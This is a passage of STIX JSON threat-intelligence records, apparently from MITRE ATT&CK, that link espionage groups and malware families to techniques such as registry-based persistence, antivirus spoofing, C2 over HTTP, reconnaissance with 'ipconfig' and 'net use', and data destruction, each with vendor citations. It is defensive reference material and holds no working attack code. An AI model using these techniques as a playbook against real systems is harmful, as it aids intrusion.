            "description": "(Citation: Kaspersky Turla)",
            "type": "relationship",
            "modified": "2019-07-14T21:04:45.631Z",
            "created": "2017-05-31T21:33:27.046Z"
        },
        {
            "id": "relationship--df69c29c-01c4-4541-988e-8a5765439d56",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) tools attempt to spoof anti-virus processes as a means of self-defense.(Citation: Kaspersky Poseidon Group)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Poseidon Group",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                }
            ],
            "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T15:34:54.767Z",
            "created": "2017-05-31T21:33:27.070Z"
        },
        {
            "id": "relationship--042d7190-3210-4303-94b6-b56d5a2b572a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses a custom UDP protocol to communicate.(Citation: Rancor Unit42 June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-03-19T19:52:53.211Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0bd2ee1a-6202-4ff5-9a42-4869a276a92c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect network configuration data by running <code>ipconfig /all</code> on a victim.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T02:14:55.875Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--e8e4b87c-3d30-4627-8060-5b5116d057fc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[KOMPROGO](https://attack.mitre.org/software/S0156) is capable of running WMI queries.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
            "source_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2020-03-20T02:12:29.705Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0efa0a7a-545d-49e2-b0c4-0e251226404a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sowbug](https://attack.mitre.org/groups/G0054) identified and extracted all Word documents on a server by using a command containing * .doc and *.docx. The actors also searched for documents based on a specific date range and attempted to identify all installed software on a victim.(Citation: Symantec Sowbug Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments",
                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
                    "source_name": "Symantec Sowbug Nov 2017"
                }
            ],
            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-03-25T16:57:02.797Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--12ea66f1-566a-404f-a948-f76b9047710e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used <code>net use</code> to conduct connectivity checks to machines.(Citation: PWC Cloud Hopper April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
                    "source_name": "PWC Cloud Hopper April 2017"
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2019-09-03T18:50:16.511Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5e53b45b-ca14-4e8b-8c76-0cf9cb572a92",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Misdat](https://attack.mitre.org/software/S0083) network traffic communicates over a raw socket.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2020-03-18T14:51:57.886Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1082a68e-549b-47d5-9eb3-e719f01ce42b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[H1N1](https://attack.mitre.org/software/S0132) kills and disables services for Windows Security Center, and Windows Defender.(Citation: Cisco H1N1 Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cisco H1N1 Part 2",
                    "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.",
                    "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"
                }
            ],
            "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2020-03-28T00:55:39.825Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4f2450a7-d2d2-4063-9dd5-cac396a3215c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Turla](https://attack.mitre.org/groups/G0010) Javascript backdoor added a local_update_check value under the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code> to establish persistence. Additionally, a [Turla](https://attack.mitre.org/groups/G0010) custom executable containing Metasploit shellcode is saved to the Startup folder to gain persistence.(Citation: ESET Turla Mosquito Jan 2018)(Citation: ESET Turla Mosquito May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "source_name": "ESET Turla Mosquito Jan 2018"
                },
                {
                    "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/",
                    "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.",
                    "source_name": "ESET Turla Mosquito May 2018"
                }
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-07-14T21:04:44.850Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--84e09e1a-b670-427e-8f35-1c472ac7a988",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dipsind](https://attack.mitre.org/software/S0200) uses HTTP for C2.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:54:45.751Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d5166d3e-246b-473c-9ff0-c5cc97dd91de",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) 2 contains a \"Destroy\" plug-in that destroys data stored on victim hard drives by overwriting file contents.(Citation: Securelist BlackEnergy Feb 2015)(Citation: ESET BlackEnergy Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist BlackEnergy Feb 2015",
                    "description": "Baumgartner, K. and Garnaeva, M.. (2015, February 17). BE2 extraordinary plugins, Siemens targeting, dev fails. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/"
                },
                {
                    "source_name": "ESET BlackEnergy Jan 2016",
                    "url": "https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/",
                    "description": "Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry . Retrieved June 10, 2020."
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
            "type": "relationship",
            "modified": "2020-06-10T21:56:44.790Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--350e9dad-4dd3-450f-b649-60340710505a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has attempted to get victims to open malicious files such as Windows Shortcuts (.lnk) and/or Microsoft Office documents, sent via email as part of spearphishing campaigns.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: District Court of NY APT10 Indictment December 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "source_name": "FireEye APT10 April 2017"
                },
                {
                    "source_name": "Accenture Hogfish April 2018",
                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
                },
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                },
                {
                    "source_name": "District Court of NY APT10 Indictment December 2018",
                    "url": "https://www.justice.gov/opa/page/file/1122671/download",
                    "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2020-12-17T20:15:30.700Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3a2d591a-f918-44b3-9e75-7520906b9aa3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used a global service provider's IP as a proxy for C2 traffic from a victim.(Citation: FireEye APT10 April 2017)(Citation: FireEye APT10 Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "source_name": "FireEye APT10 April 2017"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "source_name": "FireEye APT10 Sept 2018"
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
            "type": "relationship",
            "modified": "2020-03-23T16:27:15.084Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b533e55c-77c7-48f8-baa7-c8724f90e483",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) executes commands remotely on the infected host.(Citation: Talos GravityRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:28:59.226Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b93d69f2-32a2-43a8-9b45-693d82a51c6b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of performing audio captures.(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2020-03-16T15:39:47.721Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--a805a8d5-632c-48df-909d-c3d745652475",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BS2005](https://attack.mitre.org/software/S0014) uses Base64 encoding for communication in the message body of an HTTP request.(Citation: Villeneuve et al 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Villeneuve et al 2014",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf"
                }
            ],
            "source_ref": "malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:07:19.972Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--27ead6bc-2bba-49d3-bcfe-667c7654a6fc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used Remote Desktop Protocol for lateral movement. The group has also used tunneling tools to tunnel RDP into the environment.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: Crowdstrike GTR2020 Mar 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                },
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "type": "relationship",
            "modified": "2020-12-22T18:05:30.596Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--eb1c808f-5806-4169-bd41-6ea7c7f17ffb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can obtain a list of running processes.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-08-18T13:13:30.748Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6eb55cc5-1c90-44ce-ab80-0c938521f1cf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "can collect the victim user name.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104"
        },
        {
            "id": "relationship--74c1fa45-5ac3-47a0-a442-2cc5e89f7b4c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JPIN](https://attack.mitre.org/software/S0201) can download files and upgrade itself.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-16T16:57:38.871Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--5697b245-d888-40ab-af72-9236c6daa273",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) uses HTTP as a transport to communicate with its command server.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:19:38.028Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--625ebfc0-7aaa-4eaf-8c49-be8b55c059d4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used network scanning and enumeration tools, including [Ping](https://attack.mitre.org/software/S0097).(Citation: NCC Group APT15 Alive and Strong)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.094Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c775ee2d-b7eb-443a-94e9-bb450e2bcd35",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "relationship_type": "uses",
            "target_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
                    "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.",
                    "source_name": "FireEye APT33 Sept 2017"
                },
                {
                    "url": "https://www.brighttalk.com/webcast/10703/275683",
                    "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.",
                    "source_name": "FireEye APT33 Webinar Sept 2017"
                }
            ],
            "description": "(Citation: FireEye APT33 Sept 2017)(Citation: FireEye APT33 Webinar Sept 2017)",
            "type": "relationship",
            "modified": "2019-06-28T15:05:33.684Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--e30bb29e-1f1c-4d68-9720-ae99da0c84ee",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
            "relationship_type": "uses",
            "target_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b",
            "external_references": [
                {
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
                }
            ],
            "description": "(Citation: Lookout Dark Caracal Jan 2018)",
            "type": "relationship",
            "modified": "2019-07-16T15:35:21.059Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ae7b632b-bb15-4807-be21-bdfff70f4f2e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a backdoor through which remote attackers can upload files.(Citation: Symantec Darkmoon Aug 2005)",
            "object_marking_refs": [
